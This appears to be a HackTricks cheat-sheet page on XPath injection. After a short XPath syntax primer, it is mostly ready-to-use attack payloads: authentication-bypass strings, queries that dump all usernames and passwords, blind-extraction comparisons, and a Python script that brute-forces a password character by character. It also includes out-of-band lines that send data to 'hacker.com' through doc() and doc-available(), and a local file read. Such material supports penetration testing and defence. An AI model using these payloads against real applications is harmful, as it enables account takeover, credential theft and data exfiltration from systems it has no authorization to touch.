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XPath Injection is an attack technique used to exploit applications that construct XPath \(XML Path Language\) queries from user-supplied input to query or navigate XML documents. Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp) # **Basic Syntax** ## Nodes | Expression | Description | | :--- | :--- | | nodename | Selects all nodes with the name "nodename" | | / | Selects from the root node | | // | Selects nodes in the document from the current node that match the selection no matter where they are | | . | Selects the current node | | .. | Selects the parent of the current node | | @ | Selects attributes | ## **Examples:** | Path Expression | Result | | :--- | :--- | | bookstore | Selects all nodes with the name "bookstore" | | /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash \( / \) it always represents an absolute path to an element! | | bookstore/book | Selects all book elements that are children of bookstore | | //book | Selects all book elements no matter where they are in the document | | bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element | | //@lang | Selects all attributes that are named lang | ## Predicates
Path Expression Result
/bookstore/book[1]

Selects the first book element that is the child of the bookstore element.Note: In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath:

In JavaScript: xml.setProperty("SelectionLanguage","XPath");
/bookstore/book[last()] Selects the last book element that is the child of the bookstore element
/bookstore/book[last()-1] Selects the last but one book element that is the child of the bookstore element
/bookstore/book[position()<3] Selects the first two book elements that are children of the bookstore element
//title[@lang] Selects all the title elements that have an attribute named lang
//title[@lang='en'] Selects all the title elements that have a "lang" attribute with a value of "en"
/bookstore/book[price>35.00] Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00
/bookstore/book[price>35.00]/title Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00
## Unknown Nodes | Wildcard | Description | | :--- | :--- | | \* | Matches any element node | | @\* | Matches any attribute node | | node\(\) | Matches any node of any kind | ## **Examples:** | Path Expression | Result | | :--- | :--- | | /bookstore/\* | Selects all the child element nodes of the bookstore element | | //\* | Selects all elements in the document | | //title\[@\*\] | Selects all title elements which have at least one attribute of any kind | # Example ```markup pepe peponcio admin mark m12345 regular fino fino2 regular ``` ## Access the information ```text All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ## Identify & stealing the schema ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` # Authentication Bypass ## **Example of queries:** ```text string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ## **OR bypass in user and password \(same value in both\)** ```text ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ## **Abusing null injection** ```text Username: ' or 1]%00 ``` ## **Double OR in Username or in password** \(is valid with only 1 vulnerable field\) IMPORTANT: Notice that the **"and" is the first operation made**. ```text Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2ΒΊ account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` # String extraction The output contains strings and the user can manipulate the values to search: ```text /user/username[contains(., '+VALUE+')] ``` ```text ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` # Blind Explotation ## **Get length of a value and extract it by comparisons:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ## **Python Example** ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ## Read file ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` # OOB Exploitation ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ## Automatic tool {% embed url="https://xcat.readthedocs.io/" caption="" %} # References [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection)
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**